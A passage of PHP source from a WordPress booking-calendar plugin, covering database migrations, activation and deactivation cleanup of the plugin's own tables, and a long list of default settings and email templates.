'2016-12-31 23:59:59' ) ) AND bk.trash = 0 AND ( ( bk.booking_type IN ( 14,15,16,17,18,20,21,22,23,1,2,3,4,5,26,6,7,8,9,10,11,12,24,25 ) ) ) ORDER BY booking_type DESC LIMIT 0, 100000 [TIME] => 18.3653769493 [2] => do_action('toplevel_page_wpbc'), call_user_func_array, WPBC_Admin_Menus->content, do_action('wpbc_page_structure_show'), call_user_func_array, WPBC_Page_Structure->content_structure, WPBC_Page_CalendarOverview->content, WPBC_Timeline->admin_init, wpbc_get_bookings_objects ) ( [0] => SELECT COUNT(*) as count FROM wp_booking as bk WHERE EXISTS ( SELECT * FROM wp_bookingdates as dt WHERE bk.booking_id = dt.booking_id AND ( dt.booking_date >= '2016-11-01 00:00:00' ) AND ( dt.booking_date <= '2016-12-31 23:59:59' ) ) AND bk.trash = 0 AND ( ( bk.booking_type IN ( 14,15,16,17,18,20,21,22,23,1,2,3,4,5,26,6,7,8,9,10,11,12,24,25 ) ) ) [TIME] => 18.0764019489 [2] => do_action('toplevel_page_wpbc'), call_user_func_array, WPBC_Admin_Menus->content, do_action('wpbc_page_structure_show'), call_user_func_array, WPBC_Page_Structure->content_structure, WPBC_Page_CalendarOverview->content, WPBC_Timeline->admin_init, wpbc_get_bookings_objects ) */ // Index for SPEED opening Booking Listing and Timeline with thousands of Bookings, otherwise, without this index, speed will be TOO SLOW... if (wpbc_is_index_in_table_exists('bookingdates','booking_id_dates') == 0) { $simple_sql = "CREATE UNIQUE INDEX booking_id_dates ON {$wpdb->prefix}bookingdates ( booking_id, booking_date);"; $wpdb->query( $simple_sql ); } if (count($wp_queries)>0) { foreach ($wp_queries as $wp_q) $wpdb->query( $wp_q ); if( ! class_exists( 'wpdev_bk_personal' ) ) { $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date ) VALUES ( ". $temp_id .", CURDATE()+ INTERVAL 2 day ), ( ". $temp_id .", CURDATE()+ INTERVAL 3 day ), ( ". $temp_id .", CURDATE()+ INTERVAL 4 day );"; $wpdb->query( $wp_queries_sub ); } } //FixIn: 9.2.3.3 if ( wpbc_is_field_in_table_exists( 'booking', 'hash' ) == 0 ) { //HASH_EDIT $simple_sql = "ALTER TABLE {$wpdb->prefix}booking ADD hash TEXT AFTER form"; $wpdb->query( $simple_sql ); // Update hash value only in last 100 bookings $sql_check_table = "SELECT booking_id as id FROM {$wpdb->prefix}booking ORDER BY booking_id DESC LIMIT 0, 100"; $res = $wpdb->get_results( $sql_check_table ); foreach ( $res as $l ) { $wpdb->query( "UPDATE {$wpdb->prefix}booking SET hash = MD5('" . time() . '_' . rand( 1000, 1000000 ) . "') WHERE booking_id = " . $l->id ); } } } make_bk_action( 'wpbc_activation_after_db_actions' ); //FixIn: 9.3.1.2 //////////////////////////////////////////////////////////////////////////// // Other versions Activation //////////////////////////////////////////////////////////////////////////// make_bk_action( 'wpbc_other_versions_activation' ); //////////////////////////////////////////////////////////////////////////// // Examples in demos //////////////////////////////////////////////////////////////////////////// if ( $is_demo ) { wpbc_create_examples_4_demo(); } // Fill Development server by initial bookings if ( ( defined( 'WP_BK_BETA_DATA_FILL' ) ) && ( WP_BK_BETA_DATA_FILL > 0 ) ) { if ( ( 'beta' === $_SERVER['HTTP_HOST'] ) || ( 'freetest.wpbookingcalendar.com' === $_SERVER['HTTP_HOST'] ) ) { $types_array = array(); for ( $i = 0; $i < WP_BK_BETA_DATA_FILL; $i++) { foreach ( range(1, 12) as $types_el) { $types_array[] = $types_el; } } wpbc_create_examples_4_demo( $types_array ); } } //wpbc_set_default_initial_values(); //////////////////////////////////////////////////////////////////////////// wpbc_reindex_booking_db(); make_bk_action( 'wpbc_after_activation' ); } add_bk_action( 'wpbc_activation', 'wpbc_booking_activate' ); // Deactivate function wpbc_booking_deactivate() { //////////////////////////////////////////////////////////////////////////// // Options //////////////////////////////////////////////////////////////////////////// $default_options_to_add = wpbc_get_default_options(); foreach ( $default_options_to_add as $default_option_name => $default_option_value) { delete_bk_option( $default_option_name ); } //////////////////////////////////////////////////////////////////////////// // Widgets //////////////////////////////////////////////////////////////////////////// delete_bk_option( 'widget_bookingwidget' ); delete_bk_option( 'widget_bookingsearchwidget' ); delete_bk_option( 'widget_bookingselectwidget' ); delete_bk_option( 'booking_activation_redirect_for_version' ); //////////////////////////////////////////////////////////////////////////// // DB Tables //////////////////////////////////////////////////////////////////////////// global $wpdb; $wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}booking" ); $wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}bookingdates" ); // Delete all users booking windows states if ( false === $wpdb->query( "DELETE FROM {$wpdb->usermeta} WHERE meta_key LIKE '%booking_%'" ) ){ // All users data debuge_error('Error during deleting user meta at DB',__FILE__,__LINE__); die(); } // Delete or Drafts and Pending from demo sites if ( wpbc_is_this_demo() ) { // Delete all temp posts at the demo sites: (post_status = pending || draft) && ( post_type = post ) && (post_author != 1) $postss = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE ( post_status = 'pending' OR post_status = 'draft' OR post_status = 'auto-draft' OR post_status = 'trash' OR post_status = 'inherit' ) AND ( post_type='post' OR post_type='revision') AND post_author != 1" ); foreach ($postss as $pp) { wp_delete_post( $pp->ID , true ); } } //////////////////////////////////////////////////////////////////////////// // Other versions Deactivation //////////////////////////////////////////////////////////////////////////// make_bk_action('wpbc_other_versions_deactivation'); } add_bk_action( 'wpbc_deactivation', 'wpbc_booking_deactivate' ); /** * Default Options * * Exmaple of getting options for deleting in MU: * * $option_name = ''; * $is_get_multiuser_general_options = true; * $options_for_delete = wpbc_get_default_options( $option_name, $is_get_multiuser_general_options ); */ function wpbc_get_default_options( $option_name = '', $is_get_multiuser_general_options = false ) { $is_demo = wpbc_is_this_demo(); $blg_title = str_replace( array( '"', "'" ), '', get_option( 'blogname' ) ); $default_options = array(); $mu_option4delete = array(); //FixIn: 9.6.3.5 $default_options['booking_admin_cal_count'] = ($is_demo) ? '3' : '2'; $mu_option4delete[]='booking_admin_cal_count'; // $multiuser_general_option[] = implode( '', array_keys( array_slice( $default_options, -1 ) ) ); $default_options['booking_skin'] = '/css/skins/24_9__light_square_1.css'; $mu_option4delete[]='booking_skin'; //FixIn: 9.6.3.5 $default_options['booking_listing_default_view_mode'] = 'vm_booking_listing'; // 'vm_calendar'; //FixIn: 9.6.3.5 $mu_option4delete[]='booking_listing_default_view_mode'; // $default_options['booking_admin_panel_skin'] = 'modern_1'; // 'modern_1' //FixIn: 9.5.5.7 //FixIn: 10.1.1.3 // $mu_option4delete[]='booking_admin_panel_skin'; $default_options['booking_view_days_num'] = ( ( ! class_exists( 'wpdev_bk_personal' ) ) ? '90' : '30' ); $mu_option4delete[]='booking_view_days_num'; //FixIn: 8.9.4.3 $default_options['booking_calendar_overview__day_mode__days_number_show'] = ( ( ! class_exists( 'wpdev_bk_personal' ) ) ? '7' : '7' ); $mu_option4delete[]='booking_calendar_overview__day_mode__days_number_show'; $default_options['booking_timeline__month_mode__days_number_show'] = ( ( ! class_exists( 'wpdev_bk_personal' ) ) ? '7' : '7' ); $mu_option4delete[]='booking_timeline__month_mode__days_number_show'; //FixIn: 8.6.1.13 $default_options['booking_max_monthes_in_calendar'] = '2y'; $mu_option4delete[]='booking_max_monthes_in_calendar'; $default_options['booking_client_cal_count'] = '1'; $mu_option4delete[]='booking_client_cal_count'; $default_options['booking_start_day_weeek'] = '0'; $mu_option4delete[]='booking_start_day_weeek'; $default_options['booking_title_after_reservation'] = ( ! class_exists( 'wpdev_bk_biz_s' ) ) ? __( 'Your booking is received. We will confirm it soon. Many thanks!', 'booking' ) : __( 'Your booking is received. Please proceed with payment to confirm it. Many thanks!', 'booking' ); $mu_option4delete[]='booking_title_after_reservation'; // $default_options['booking_title_after_reservation_time'] = '7000'; //$mu_option4delete[]='booking_title_after_reservation_time'; $default_options['booking_type_of_thank_you_message'] = 'message'; $mu_option4delete[]='booking_type_of_thank_you_message'; $default_options['booking_thank_you_page_URL'] = '/thank-you'; $mu_option4delete[]='booking_thank_you_page_URL'; $default_options['booking_is_use_autofill_4_logged_user'] = ($is_demo) ? 'On' : 'Off'; $mu_option4delete[]='booking_is_use_autofill_4_logged_user'; $default_options['booking_date_format'] = get_option( 'date_format' ); $mu_option4delete[]='booking_date_format'; $default_options['booking_time_format'] = get_option( 'time_format' ); //'H:i'; $mu_option4delete[]='booking_time_format'; //FixIn:10.2.0.1 ------------------------------------------------------------------------------------------------ // Confirmation section: $default_options['booking_confirmation_header_enabled'] = 'On'; $default_options['booking_confirmation_header'] = sprintf( __( 'Your booking id: %s', 'booking' ), '<strong>[booking_id]</strong>' ); $mu_option4delete[] = 'booking_confirmation_header_enabled'; $mu_option4delete[] = 'booking_confirmation_header'; $default_options['booking_confirmation__personal_info__header_enabled'] = 'On'; $default_options['booking_confirmation__personal_info__title'] = __( 'Personal information', 'booking' ); $default_options['booking_confirmation__personal_info__content'] = '[content]'; $mu_option4delete[] = 'booking_confirmation__personal_info__header_enabled'; $mu_option4delete[] = 'booking_confirmation__personal_info__title'; $mu_option4delete[] = 'booking_confirmation__personal_info__content'; $default_options['booking_confirmation__booking_details__header_enabled'] = 'On'; $default_options['booking_confirmation__booking_details__title'] = __( 'Booking details', 'booking' ); $default_options['booking_confirmation__booking_details__content'] = ( class_exists( 'wpdev_bk_personal' ) ) ? "<h4>[resource_title]</h4>[readable_dates][readable_times]\n[add_to_google_cal_button]" : "[readable_dates][readable_times]\n[add_to_google_cal_button]"; $mu_option4delete[] = 'booking_confirmation__booking_details__header_enabled'; $mu_option4delete[] = 'booking_confirmation__booking_details__title'; $mu_option4delete[] = 'booking_confirmation__booking_details__content'; //FixIn:10.2.0.1 End -------------------------------------------------------------------------------------------- $default_options['booking_date_view_type'] = 'short'; $mu_option4delete[]='booking_date_view_type'; $default_options['booking_is_delete_if_deactive'] = ($is_demo) ? 'On' : 'Off'; $mu_option4delete[]='booking_is_delete_if_deactive'; $default_options['booking_dif_colors_approval_pending'] = 'On'; // Depricated $default_options['booking_is_use_hints_at_admin_panel'] = 'On'; $mu_option4delete[]='booking_is_use_hints_at_admin_panel'; $default_options['booking_is_load_js_css_on_specific_pages'] = 'Off'; $mu_option4delete[]='booking_is_nonce_at_front_end'; //FixIn: 10.1.1.2 $default_options['booking_is_nonce_at_front_end'] = 'Off'; //FixIn: 9.8.6.2 $mu_option4delete[]='booking_load_balancer_max_threads'; $default_options['booking_load_balancer_max_threads'] = ( $is_demo ) ? '1' : '3'; //FixIn: 7.2.1.15 $mu_option4delete[]='booking_is_show_system_debug_log'; $default_options['booking_is_show_system_debug_log'] = 'Off'; $mu_option4delete[]='booking_is_load_js_css_on_specific_pages'; $default_options['booking_pages_for_load_js_css'] = ''; $mu_option4delete[]='booking_pages_for_load_js_css'; $default_options['booking_type_of_day_selections'] = ( ( get_bk_option( 'booking_range_selection_is_active' ) == 'On' ) && ( ! $is_demo ) ) ? 'range' : 'multiple'; $mu_option4delete[]='booking_type_of_day_selections'; //FixIn: 8.7.11.10 $default_options['booking_timeslot_picker'] = 'On'; $mu_option4delete[]= 'booking_timeslot_picker'; $default_options['booking_timeslot_picker_skin'] = '/css/time_picker_skins/light__24_8.css'; $mu_option4delete[]= 'booking_timeslot_picker_skin'; $default_options['booking_timeslot_day_bg_as_available'] = 'Off'; //( ( class_exists( 'wpdev_bk_personal' ) ) ? 'Off' : 'On' ); //FixIn: 8.2.1.27 $mu_option4delete[]='booking_timeslot_day_bg_as_available'; $default_options['booking_disable_timeslots_in_tooltip'] = 'Off'; //FixIn: 9.5.0.2.2 $mu_option4delete[]='booking_disable_timeslots_in_tooltip'; $default_options['booking_highlight_timeslot_word'] = __( 'Booked Times:', 'booking' ); //FixIn: 9.4.3.1 $mu_option4delete[]='booking_highlight_timeslot_word'; $default_options['booking_form_is_using_bs_css'] = 'Off'; $mu_option4delete[]='booking_form_is_using_bs_css'; $default_options['booking_form_format_type'] = 'vertical'; $mu_option4delete[]='booking_form_format_type'; // Does not exist in MU $default_options['booking_form_field_active1'] = 'On'; $default_options['booking_form_field_required1'] = 'On'; $default_options['booking_form_field_label1'] = 'First Name'; $default_options['booking_form_field_active2'] = 'On'; $default_options['booking_form_field_required2'] = 'On'; $default_options['booking_form_field_label2'] = 'Last Name'; $default_options['booking_form_field_active3'] = 'On'; $default_options['booking_form_field_required3'] = 'On'; $default_options['booking_form_field_label3'] = 'Email'; $default_options['booking_form_field_active4'] = 'On'; $default_options['booking_form_field_required4'] = 'Off'; $default_options['booking_form_field_label4'] = 'Phone'; $default_options['booking_form_field_active5'] = 'On'; $default_options['booking_form_field_required5'] = 'Off'; $default_options['booking_form_field_label5'] = 'Details'; $default_options['booking_form_field_active6'] = 'Off'; $default_options['booking_form_field_required6'] = 'Off'; $default_options['booking_form_field_label6'] = 'Visitors'; $default_options['booking_form_field_values6'] = "1\n2\n3\n4"; $default_options['booking_is_days_always_available'] = 'Off'; $mu_option4delete[]='booking_is_days_always_available'; //FixIn: 8.3.2.2 $default_options['booking_is_show_pending_days_as_available'] = 'Off'; $mu_option4delete[]='booking_is_show_pending_days_as_available'; $default_options['booking_unavailable_days_num_from_today'] = '0'; $mu_option4delete[]='booking_unavailable_days_num_from_today'; $default_options['booking_unavailable_day0'] = 'Off'; $mu_option4delete[]='booking_unavailable_day0'; $default_options['booking_unavailable_day1'] = 'Off'; $mu_option4delete[]='booking_unavailable_day1'; $default_options['booking_unavailable_day2'] = 'Off'; $mu_option4delete[]='booking_unavailable_day2'; $default_options['booking_unavailable_day3'] = 'Off'; $mu_option4delete[]='booking_unavailable_day3'; $default_options['booking_unavailable_day4'] = 'Off'; $mu_option4delete[]='booking_unavailable_day4'; $default_options['booking_unavailable_day5'] = 'Off'; $mu_option4delete[]='booking_unavailable_day5'; $default_options['booking_unavailable_day6'] = 'Off'; $mu_option4delete[]='booking_unavailable_day6'; $default_options['booking_menu_position'] = ( $is_demo ) ? 'top' : 'top'; $mu_option4delete[]='booking_menu_position'; $default_options['booking_translation_load_from'] = 'wp.org'; $mu_option4delete[]='booking_translation_load_from'; $default_options['booking_user_role_booking'] = ( $is_demo ) ? 'subscriber' : 'editor'; $mu_option4delete[]='booking_user_role_booking'; $default_options['booking_user_role_availability'] = ( $is_demo ) ? 'subscriber' : 'editor'; //FixIn: 9.5.2.2 $mu_option4delete[]='booking_user_role_availability'; $default_options['booking_user_role_addbooking'] = ( $is_demo ) ? 'subscriber' : 'editor'; $mu_option4delete[]='booking_user_role_addbooking'; $default_options['booking_user_role_resources'] = ( $is_demo ) ? 'subscriber' : 'editor'; $mu_option4delete[]='booking_user_role_resources'; $default_options['booking_user_role_settings'] = ( $is_demo ) ? 'subscriber' : 'administrator'; $mu_option4delete[]='booking_user_role_settings'; //FixIn: 9.8.15.2.6 if ( class_exists( 'wpdev_bk_biz_m' ) ) { $default_options['booking_user_role_prices'] = ( $is_demo ) ? 'subscriber' : 'editor'; $mu_option4delete[]='booking_user_role_prices'; } //FixIn: 9.8.15.2.6 if ( WPBC_customize_plugin ){ $default_options['booking_user_role_customize_plugin'] = ( $is_demo ) ? 'subscriber' : 'editor'; $mu_option4delete[]='booking_user_role_customize_plugin'; } // New admin /////////////////////////////////////////////////////////////// $default_options['booking_is_email_reservation_adress'] = 'On'; $default_options['booking_email_reservation_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_reservation_from_adress'] = '[visitoremail]'; $default_options['booking_email_reservation_subject'] = __( 'New booking', 'booking' ); $default_options['booking_email_reservation_content'] = htmlspecialchars( sprintf( __( 'You need to approve a new booking %s for: %s Person detail information:%s Currently a new booking is waiting for approval. Please visit the moderation panel%sThank you, %s', 'booking' ), '[bookingtype]', '[dates]<br/><br/>', '<br/> [content]<br/><br/>', ' [moderatelink]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); // New Visitor ///////////////////////////////////////////////////////////// $default_options['booking_is_email_newbookingbyperson_adress'] = 'Off'; $default_options['booking_email_newbookingbyperson_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_newbookingbyperson_subject'] = __( 'New booking', 'booking' ); if ( class_exists( 'wpdev_bk_personal' ) ) $default_options['booking_email_newbookingbyperson_content'] = htmlspecialchars( sprintf( __( 'Your reservation %s for: %s is processing now! We will send confirmation by email. %sYou can edit this booking at this page: %s Thank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/><br/>[content]<br/><br/>', '[visitorbookingediturl]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); else $default_options['booking_email_newbookingbyperson_content'] = htmlspecialchars( sprintf( __( 'Your reservation %s for: %s is processing now! We will send confirmation by email. %s Thank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/><br/>[content]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); // Approval //////////////////////////////////////////////////////////////// $default_options['booking_is_email_approval_adress'] = 'On'; $default_options['booking_is_email_approval_send_copy_to_admin'] = 'Off'; $default_options['booking_email_approval_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_approval_subject'] = __( 'Your booking has been approved', 'booking' ); if ( class_exists( 'wpdev_bk_personal' ) ) $default_options['booking_email_approval_content'] = htmlspecialchars( sprintf( __( 'Your reservation %s for: %s has been approved.%sYou can edit the booking on this page: %s Thank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/><br/>[content]<br/><br/>', '[visitorbookingediturl]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); else $default_options['booking_email_approval_content'] = htmlspecialchars( sprintf( __( 'Your booking %s for: %s has been approved.%sThank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/><br/>[content]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); // Decline ///////////////////////////////////////////////////////////////// $default_options['booking_is_email_deny_adress'] = 'On'; $default_options['booking_is_email_deny_send_copy_to_admin'] = 'Off'; $default_options['booking_email_deny_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_deny_subject'] = __( 'Your booking has been declined', 'booking' ); $default_options['booking_email_deny_content'] = htmlspecialchars( sprintf( __( 'Your booking %s for: %s has been canceled. %sThank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/>[denyreason]<br/><br/>[content]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); //////////////////////////////////////////////////////////////////////////// $default_options['booking_widget_title'] = __( 'Booking form', 'booking' ); $default_options['booking_widget_show'] = 'booking_form'; $default_options['booking_widget_type'] = '1'; $default_options['booking_widget_calendar_count'] = '1'; $default_options['booking_widget_last_field'] = ''; $default_options['booking_wpdev_copyright_adminpanel'] = 'On'; $mu_option4delete[]='booking_wpdev_copyright_adminpanel'; $default_options['booking_is_show_powered_by_notice'] = 'On'; $mu_option4delete[]='booking_is_show_powered_by_notice'; $default_options['booking_form_theme'] = ''; $mu_option4delete[]='booking_form_theme'; $default_options['booking_is_use_captcha'] = 'Off'; $mu_option4delete[]='booking_is_use_captcha'; $default_options['booking_is_show_legend'] = 'On'; $mu_option4delete[]='booking_is_show_legend'; $default_options['booking_send_button_title'] = __( 'Send', 'booking' ); //FixIn: 8.8.1.14 $mu_option4delete[]='booking_send_button_title'; $default_options['booking_legend_is_show_item_available'] = 'On'; $mu_option4delete[]='booking_legend_is_show_item_available'; $default_options['booking_legend_text_for_item_available'] = __( 'Available', 'booking' ); $mu_option4delete[]='booking_legend_text_for_item_available'; $default_options['booking_legend_is_show_item_pending'] = 'On'; $mu_option4delete[]='booking_legend_is_show_item_pending'; $default_options['booking_legend_text_for_item_pending'] = __( 'Pending', 'booking' ); $mu_option4delete[]='booking_legend_text_for_item_pending'; $default_options['booking_legend_is_show_item_approved'] = 'On'; $mu_option4delete[]='booking_legend_is_show_item_approved'; $default_options['booking_legend_text_for_item_approved'] = __( 'Booked', 'booking' ); $mu_option4delete[]='booking_legend_text_for_item_approved'; //FixIn: 9.9.0.5 $default_options['booking_legend_is_show_item_unavailable'] = 'Off'; $mu_option4delete[]='booking_legend_is_show_item_unavailable'; $default_options['booking_legend_text_for_item_unavailable'] = __( 'Unavailable', 'booking' ); $mu_option4delete[]='booking_legend_text_for_item_unavailable'; //FixIn: 10.1.5.5 $default_options['booking_legend_is_show_item_partially'] = ( ( class_exists( 'wpdev_bk_personal' ) ) && ( ! class_exists( 'wpdev_bk_biz_s' ) ) ) ? 'Off' : 'On'; $mu_option4delete[]='booking_legend_is_show_item_partially'; $default_options['booking_legend_text_for_item_partially'] = __( 'Partially booked', 'booking' ); $mu_option4delete[]='booking_legend_text_for_item_partially'; $default_options['booking_legend_is_show_numbers'] = 'On'; //FixIn:6.0.1.4 //FixIn: 8.1.3.8 $mu_option4delete[]='booking_legend_is_show_numbers'; $default_options['booking_legend_is_vertical'] = 'Off'; //FixIn:9.4.3.6 $mu_option4delete[]='booking_legend_is_vertical'; /* Import previous (old version) Email templates or get defult values from Email Classes, if the emails was not saved if the emails was saved, in this case - return empty array(), Useful for the Email Settings page to loading data from DB, during activation Mail API class. So if we get empty array for values, in this case, we need to get this optiosn from DB. */ // Get NEW Email Templates default data or Import previous saved $emails_init = wpbc_import6_email__new_admin__get_fields_array_for_activation(); $emails_init = array_merge( $emails_init, wpbc_import6_email__new_visitor__get_fields_array_for_activation() ); $emails_init = array_merge( $emails_init, wpbc_import6_email__approved__get_fields_array_for_activation() ); $emails_init = array_merge( $emails_init, wpbc_import6_email__deleted__get_fields_array_for_activation() ); $emails_init = array_merge( $emails_init, wpbc_import6_email__deny__get_fields_array_for_activation() ); $emails_init = array_merge( $emails_init, wpbc_import6_email__trash__get_fields_array_for_activation() ); if ( class_exists( 'wpdev_bk_personal' ) ) $emails_init = array_merge( $emails_init, wpbc_import6_email__modification__get_fields_array_for_activation() ); if ( class_exists( 'wpdev_bk_biz_s' ) ) $emails_init = array_merge( $emails_init, wpbc_import6_email__payment_request__get_fields_array_for_activation() ); foreach ( $emails_init as $email_key_name => $email_values ) { if ( ! empty( $email_values ) ) $default_options[ $email_key_name ] = $email_values; else $default_options[ $email_key_name ] = get_bk_option( $email_key_name ); } $mu_option4delete[]='booking_gcal_auto_import_is_active'; // Creation in wpbc-gcal.php file $mu_option4delete[]='booking_gcal_auto_import_time'; $mu_option4delete[]='booking_cron'; // Creation in wpbc-cron.php //FixIn: 8.0.1.6 //$default_options['booking_form_structure_type'] = 'vertical'; $default_options['booking_form_structure_type'] = 'form_right'; //FixIn: 10.3.0.6 $default_options['booking_menu_go_pro'] = 'show'; // show | hide $default_options['booking_form_layout_width'] = '440'; $default_options['booking_form_layout_width_px_pr'] = 'px'; //////////////////////////////////////////////////////////////////////////// // PS //////////////////////////////////////////////////////////////////////////// if ( class_exists( 'wpdev_bk_personal' ) ) { $default_options['booking_is_use_simple_booking_form'] = 'Off'; //FixIn: 8.1.1.12 $mu_option4delete[]='booking_is_use_simple_booking_form'; $default_options['booking_is_use_codehighlighter_booking_form'] = 'On'; //FixIn: 8.4.7.18 $mu_option4delete[]='booking_is_use_codehighlighter_booking_form'; $default_options['booking_form'] = str_replace( '\\n\\', '', wpbc_get_default_booking_form() ); $default_options['booking_form_show'] = str_replace( '\\n\\', '', wpbc_get_default_booking_form_show() ); $default_options['booking_url_bookings_edit_by_visitors'] = site_url(); $mu_option4delete[]='booking_url_bookings_edit_by_visitors'; $default_options['booking_url_bookings_listing_by_customer'] = site_url(); //FixIn: 8.1.3.5.1 $mu_option4delete[]='booking_url_bookings_listing_by_customer'; $default_options['booking_default_booking_resource'] = ''; // All resources $mu_option4delete[]='booking_default_booking_resource'; $default_options['booking_is_change_hash_after_approvement'] = 'Off'; $mu_option4delete[]='booking_is_change_hash_after_approvement'; $default_options['booking_email_modification_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_modification_subject'] = __( 'The reservation has been modified', 'booking' ); $default_options['booking_email_modification_content'] = htmlspecialchars( sprintf( __( 'The reservation %s for: %s has been modified. %sYou can edit this booking on this page: %s Thank you, %s', 'booking' ), '[bookingtype]', '[dates]', '<br/><br/>[content]<br/><br/>', '[visitorbookingediturl]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); $default_options['booking_is_email_modification_adress'] = 'On'; $default_options['booking_is_email_modification_send_copy_to_admin'] = 'Off'; $default_options['booking_resourses_num_per_page'] = '10'; $mu_option4delete[]='booking_resourses_num_per_page'; $default_options['booking_default_title_in_day_for_calendar_view_mode'] = '[id]: [name] [secondname]'; $mu_option4delete[]='booking_default_title_in_day_for_calendar_view_mode'; //FixIn: 8.1.3.31 $default_options['booking_calendar_overview_start_time'] = '0'; $mu_option4delete[]='booking_calendar_overview_start_time'; $default_options['booking_calendar_overview_end_time'] = '24'; $mu_option4delete[]='booking_calendar_overview_end_time'; $default_options['booking_default_title_in_day_for_timeline_front_end'] = '[name] [secondname]'; $mu_option4delete[]='booking_default_title_in_day_for_timeline_front_end'; $default_options['booking_is_show_popover_in_timeline_front_end'] = ($is_demo) ? 'On' : 'Off'; $mu_option4delete[]='booking_is_show_popover_in_timeline_front_end'; //FixIn: 9.6.3.5 $default_options['booking_send_emails_off_addbooking'] = 'Off'; //FixIn: 8.4.5.4 $mu_option4delete[]='booking_send_emails_off_addbooking'; //FixIn: 9.6.3.5 $default_options['booking_change_resource_skip_checking'] = 'Off'; //FixIn: 8.4.5.4 $mu_option4delete[]='booking_change_resource_skip_checking'; $default_options['booking_log_booking_actions'] = 'On'; //FixIn: 8.6.1.10 $mu_option4delete[]='booking_log_booking_actions'; } //FixIn: 8.5.1.1 // $default_options['booking_ics_force_import'] = 'Off'; //FixIn: 8.4.7.1 $default_options['booking_ics_force_trash_before_import'] = 'Off'; //FixIn: 8.4.7.12 //$mu_option4delete[]='booking_ics_force_trash_before_import'; // No need to delete ^ $default_options['booking_ics_import_append_checkout_day'] = 'Off'; //FixIn: 9.6.2.7 //FixIn: 9.5.4.1 //$mu_option4delete[]='booking_ics_import_append_checkout_day'; // No need to delete ^ //FixIn: 9.8.15.8 $default_options['booking_condition_import_only_new'] = ( get_bk_option( 'booking_ics_force_import' ) === 'On' ) ? 'Off' : 'On'; $default_options['booking_condition_import_if_available'] = 'Off'; //FixIn: 10.1.5.4 $default_options['booking_recurrent_time'] = ( class_exists( 'wpdev_bk_personal' ) ) ? 'Off' : 'On'; $mu_option4delete[]='booking_recurrent_time'; $default_options['booking_calendar_allow_several_months_on_mobile'] = 'Off'; $mu_option4delete[]='booking_calendar_allow_several_months_on_mobile'; //////////////////////////////////////////////////////////////////////////// // BS //////////////////////////////////////////////////////////////////////////// if ( class_exists( 'wpdev_bk_biz_s' ) ) { //$mu_option4delete[]='booking_paypal_price_period'; // No need to delete, this option, because different users can have different settings. During init defined at ../booking/inc/gateways/page-gateways.php //FixIn: 8.1.3.29 $default_options['booking_ics_import_add_change_over_time'] = 'On'; //$mu_option4delete[]='booking_ics_import_add_change_over_time'; // No need to delete ^ //FixIn: 8.5.2.3 $default_options['booking_is_ics_export_only_approved'] = 'Off'; //$mu_option4delete[]='booking_is_ics_export_only_approved'; // No need to delete ^ $default_options['booking_is_ics_export_imported_bookings'] = ''; //FixIn: 8.8.3.19 $default_options['booking_auto_approve_new_bookings_is_active'] = 'Off'; $mu_option4delete[]='booking_auto_approve_new_bookings_is_active'; //FixIn: 8.1.3.27 $default_options['booking_auto_approve_bookings_when_import'] = 'Off'; $mu_option4delete[]='booking_auto_approve_bookings_when_import'; $default_options['booking_auto_approve_bookings_when_zero_cost'] = 'Off'; $mu_option4delete[]='booking_auto_approve_bookings_when_zero_cost'; $default_options['booking_auto_approve_bookings_if_added_in_admin_panel'] = 'Off'; $mu_option4delete[]='booking_auto_approve_bookings_if_added_in_admin_panel'; $default_options['booking_auto_cancel_pending_unpaid_bk_is_active'] = 'Off'; $mu_option4delete[]='booking_auto_cancel_pending_unpaid_bk_is_active'; $default_options['booking_auto_cancel_pending_unpaid_bk_time'] = '24'; $mu_option4delete[]='booking_auto_cancel_pending_unpaid_bk_time'; $default_options['booking_auto_cancel_pending_unpaid_bk_is_send_email'] = 'On'; $mu_option4delete[]='booking_auto_cancel_pending_unpaid_bk_is_send_email'; $default_options['booking_auto_cancel_pending_unpaid_bk_email_reason'] = __( 'This booking canceled because we did not receive payment and the administrator did not approve it.', 'booking' ); $mu_option4delete[]='booking_auto_cancel_pending_unpaid_bk_email_reason'; $default_options['booking_range_selection_type'] = 'fixed'; $mu_option4delete[]='booking_range_selection_type'; $default_options['booking_range_selection_days_count'] = '3'; $mu_option4delete[]='booking_range_selection_days_count'; $default_options['booking_range_selection_days_max_count_dynamic'] = 30; $mu_option4delete[]='booking_range_selection_days_max_count_dynamic'; $default_options['booking_range_selection_days_specific_num_dynamic'] = ''; $mu_option4delete[]='booking_range_selection_days_specific_num_dynamic'; $default_options['booking_range_start_day'] = '-1'; $mu_option4delete[]='booking_range_start_day'; $default_options['booking_range_selection_days_count_dynamic'] = '1'; $mu_option4delete[]='booking_range_selection_days_count_dynamic'; $default_options['booking_range_start_day_dynamic'] = '-1'; $mu_option4delete[]='booking_range_start_day_dynamic'; $default_options['booking_range_selection_time_is_active'] = 'Off'; $mu_option4delete[]='booking_range_selection_time_is_active'; $default_options['booking_range_selection_start_time'] = '12:00'; $mu_option4delete[]='booking_range_selection_start_time'; $default_options['booking_range_selection_end_time'] = '10:00'; $mu_option4delete[]='booking_range_selection_end_time'; $default_options['booking_change_over_days_triangles'] = 'On'; //FixIn: 7.0.1.24 $mu_option4delete[]='booking_last_checkout_day_available'; 